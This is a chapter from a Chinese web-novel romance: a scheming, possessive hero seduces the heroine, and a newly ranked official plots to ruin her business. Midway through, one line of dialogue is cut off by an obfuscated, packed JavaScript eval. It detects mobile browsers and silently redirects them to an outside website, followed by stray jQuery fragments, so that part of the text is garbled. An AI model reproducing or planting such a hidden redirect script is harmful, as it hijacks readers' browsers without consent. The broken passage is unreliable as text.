35.第 35 章

作品:《替嫁苗疆少年后

    “别走。”


    声音带着一种被水浸透的沙哑和柔软。


    他仰着脸看她,睫羽湿润的落下一滴小水珠。


    露出一副脆弱、容易掌控的样子。


    像以前的她一样,故意将缺口暴露在眼前。


    他知道的。


    她喜欢的,是他最初那副天真到近乎愚蠢的样子。


    纯粹,易碎,足以掩盖他内里早已扭曲疯长的情感。


    这情感如今被恨意浇灌,开出了剧毒的花。


    他需要把自己重新打磨回那个无害的庄九黎。


    对于情爱之事,他只是徒然建立起了内心的秩序,尚未成型,便被她轻易崩塌。


    她给了他错觉,从一个残缺的杀人兵器,短暂地变成一个完整的人。


    只是这幻象太灼人,在他尚未将那脆弱的秩序筑成堡垒之前,她便已抽身离去。


    只留下一片轰然倒塌的废墟里,被失去她的痛苦日夜灼伤。


    现在,他要重新诱捕她。


    他攥着她裙裾的手指收紧了些,指节泛白,露出青筋。


    皮肤下的空虚感已经让他无法忍耐。


    想触碰她的温度,想被她的温度填满。


    他向前挪了一小步,额头试探地抵在了她的肩上。


    “水凉了,好冷。”带着点撒娇般的鼻音。


    “抱抱我好不好?”


    庄九黎微微蹭了蹭她温热的颈侧。动作里藏着他想狠狠咬下去、留下痕迹的冲动。


    于是他悄悄咬了一口。


    很快便被那具身体的主人发现了,但并没有斥责他。


    “……”温萝芙垂眸看着他,喉间微微滑动了一下。”


    水珠顺着他浓密的睫毛滴落,滑过挺直的鼻梁,悬在微张的、色泽浅淡的唇边。


    她直觉所在,觉得今日浴池里的香气有些古怪。


    还有庄九黎。他大费周章的找回她,不会只是想做恨,只是想把她带回南诏吧。


    她想,他应该会想要报复她的。


    人不就是没有爱也能渴求彼此身体的动物吗?


    所以追求心灵相通的情蛊,其实也没有必要。


    然而,温萝芙已经被庄九黎湿淋淋地缠上来,


    他的手指滑进她的指缝,滑落的水珠被他低头舐去,像一滴迟来的泪。


    烙下今夜第一个将留存到天明的印记。


    在庄九黎面前,那层□□早已卸下。


    同样的,那些为周旋于各色人等而戴上的温婉或精明的面具,也失去了存在的必要。


    不必带上面具,也不必伪装她的性格。


    毕竟庄九黎已经见识过她最恶劣的那一面。


    已经没有伪装的必要。


    他没有放过她任何一丝细微的表情变化。


    他眼底深处,是浓得化不开的占有和一种近乎病态的执着。


    渴望看到她冰封的心防为他裂开一道缝隙,看到一丝为他动摇的痕迹。


    想确认这引诱是否真的撼动了她。


    半晌,两人回到房间。


    “你的东西掉了。”庄九黎摊开掌心。


    那是一枚双鱼玉佩。玉质温润,雕工古朴。


    是温萝芙死遁时扔掉的,那枚象征着和亲公主的玉佩。


    温萝芙的目光在那玉佩上滞留了一瞬,心想捡这个干嘛。


    而且她思索不出来庄九黎今日为何如此,是受了什么刺激?


    明明之前还冷着脸说好恨她,这时候又软得惑人,像勾引她一样。


    于是温萝芙找了个借口道:“我还有点事先去处理一下。”


    当然,这之后温萝芙借口要办的事,也成了真。


    游街日。


    阳光难得慷慨地倾泻下来,照亮了崭新的官袍和一张张意气风发的年轻面孔。


    新科进士簪花游街,这是大周科举后最盛大的荣光时刻。


    人群如潮,声浪一阵高过一阵,抛掷的彩绸和鲜花几乎遮蔽了视线。


    周玉书骑在披红挂彩的高头大马上,身着进士服,帽侧簪着一朵绢花。


    他身姿挺拔,端坐马背,维持着那份属于读书人的清雅端方。


    榜眼。


    这身份足以洗刷他出身寒微、寄人篱下的所有屈辱。


    也足以让他名正言顺地接近那更高的位置,将那个高高在上的她拉下来。


    阳光刺眼。他微微眯起眼,目光扫过街边的素月坊。


    二楼临街的长廊上,一个身影静立。


    隔着喧嚣的人群和耀眼的日光,周玉书一眼便看见了她。


    温萝芙今日似乎未施太多脂粉,却比周遭所有浓墨重彩的繁华更夺目。


    她随意地站着,目光平静地投向街心,也并未特意落在他身上。


    这让周玉书脸上的笑容僵了僵。


    这本该是一段佳话。


    落魄才子得遇慧眼识珠的红颜,一朝金榜题名,衣锦还乡,成就才子佳人的美谈。


    为什么不是他?


    为什么她选择了那个身份不明的男人?


    就因为他生了一副惑人的皮囊?


    她站在那里,如一颗明珠,光华璀璨,纤尘不染。


    这光芒刺得他眼睛生疼,更刺得他心底因出身而刻入骨髓的自卑迅速蔓延。


    他出身寒门,曾经家徒四壁,为了钱财费尽心机、尝尽冷眼。


    而她,坐拥万贯家财,谈笑间翻云覆雨。


    这巨大的鸿沟,如同天堑。


    他再努力,再端方,也永远抹不去骨子里的穷酸气。


    除非她也跌落下来。


    跌入他曾挣扎过的泥泞之中,和他一样尝尽世态炎凉,感受那寒冷与无望——


    只有那样,她才可能真正看见他,理解他,依赖他,属于他。


    鲜衣怒马,骏马嘶吼,载着他与她擦肩而过。


    周玉书再次透过攒动的人头看向素月坊二楼时,那里已经没有了那个身影。


    他冷笑一声,几乎是恶毒的想象之后会发生的事情。


    他已经搭上了东宫,毁掉她已经足够。


    毁掉她的生意,毁掉她的骄傲,把她从云端拽落尘埃,碾进泥里。


    让她也尝尝明珠蒙尘的滋味。


    皇权,碾碎一个小小的商贾,如同碾死一只蝼蚁。


    ……


    游街的喧嚣渐远。周玉书搬离素月坊那日,天气阴沉。


    他已换上了象征官身的常服,腰间佩着代表身份的鱼袋。


    素月坊依旧人来人往,脂粉香风浮动,一派繁华景象,刺眼地提醒着他曾经的依附。


    “周大人前程似锦,日后当步步高升。”温萝芙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874304|172151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在正厅见了他,没有送到门口。


    她手边放着一盏清茶,袅袅热气模糊了她的神情。


    周玉书看着她,试图从她眼中找到一丝波动,哪怕是一点点的遗憾或怨怼。


    但是没有。


    这比他预想中的任何反应都更让他难以忍受。


    “温坊主,”周玉书开口道,“玉书能有今日,素月坊当初的收留之恩,不敢或忘。”


    “只是商贾之道,终究非长久之计。盛极而衰,月满则亏。”


    温萝芙端起茶盏,轻轻吹开浮沫,她抿了一口,才抬眼看他,浅笑道:“周大人有心了。聚散有时,盈亏有数。素月坊的根基,不在浮财,而在人心。”


    她放下茶盏:“况且,路是自己选的,是登天梯还是鬼门关,走下去才知道。”


    她的话语轻柔,却字字如冰刃,仿佛早已洞穿了他的算计。


    周玉书心头猛地一沉。


    她知道了?


    不,不可能。


    他的计划无比隐秘,联系的贵人更是身份特殊,手眼通天。


    周玉书维持着脸上的笑容,那份因她漠视而激起的毁灭欲瞬间压倒了那丝迟疑。


    就算她此刻示弱,他也绝不会收手了。


    她的存在本身,她那耀眼的光芒,她毫不在意他的态度,都成了他无法忍受的酷刑。


    他必须毁了她。


    “坊主高见。”周玉书垂下眼,“玉书告辞。坊主……保重。”


    最后两个字,他说得极重,几乎是咬着牙根说出。


    周玉书转身,挺直背脊,一步步走出素月坊的正厅。


    厅内恢复了安静。温萝芙看着周玉书消失在门口的背影,脸上那点温和彻底消失。


    无声无息,一个身影出现在她身侧的阴影里。


    庄九黎不知何时站在那里,盯着周玉书离去的方向。


    看着她因那人而皱眉,因那人而烦忧,那名为忮忌的毒火便日夜灼烧着他的理智。


    今日,那伪君子眼中最后流露的算计,彻底点燃了他压抑的杀心。


    是这个世界让她离开了他,让她变得不再可控。


    他真想快一点清除掉所有可能分散她注意力的人和事。


    为了温萝芙,为了不让她厌弃,他一直很听话。


    虽然没人命令他听话,但他已经忍耐那个赝品太久太久。


    这大周国,这京城,在他眼中不过是一个巨大的、肮脏的泥潭。


    所有人都在里面挣扎,互相撕咬,想把她拖下去,弄脏她。


    但他可以把她从这泥潭里拉出来。


    就算是弄脏,也只有他可以。


    只有他能做。


    “我们离开这里。”庄九黎转向温萝芙,“去南诏,那里足够干净。你可以继续做你的胭脂生意,做。我不会再拦着你出门,我会帮你。”他想象着一个新的开始,语气变得亲昵:“所有的麻烦,我都会替你清除。”


    “要把他杀了吗?”他唇角勾起一抹毫无温度的笑,“我忍他很久了。”


    像以前那样需要他,命令他杀人吧。


    温萝芙静静地听着,没有立刻回应那番许诺。


    她投向门外那方被周玉书身影占据过、此刻已空无一物的天空。


    “不必。”温萝芙道,“他此刻的行为正合我意。”